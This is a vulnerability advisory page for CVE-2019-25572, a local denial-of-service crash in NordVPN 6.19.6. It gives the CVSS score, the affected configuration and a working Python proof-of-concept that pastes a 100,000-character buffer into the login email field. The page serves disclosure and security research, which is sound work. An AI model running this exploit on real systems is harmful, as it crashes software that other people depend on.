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CVE-2019-25572 CVSS 6.2 MEDIUM

CVE-2019-25572

Published: 2026-03-21 13:16:21
Last Modified: 2026-04-15 17:12:40

Description

NordVPN 6.19.6 contains a denial of service vulnerability that allows local attackers to crash the application by submitting an excessively long string in the email input field. Attackers can paste a buffer of 100,000 characters into the email field during login to trigger an application crash.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nordvpn:nordvpn:*:*:*:*:*:windows:*:* - VULNERABLE
NordVPN 6.19.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pyautogui import pyperclip import time # Generate the payload: a buffer of 100,000 characters # This mimics the exploit described in the vulnerability report payload = "A" * 100000 def exploit_nordvpn_dos(): print("[+] Copying payload to clipboard...") pyperclip.copy(payload) print("[!] WARNING: This will crash the NordVPN application.") print("[+] Please switch to the NordVPN login window within 5 seconds...") time.sleep(5) # Simulate the user interaction to paste the payload into the email field # Assuming the cursor is focused on the email input field print("[+] Pasting payload into the email field...") pyautogui.hotkey('ctrl', 'v') print("[+] Payload delivered. Application should crash shortly.") if __name__ == "__main__": exploit_nordvpn_dos()

References

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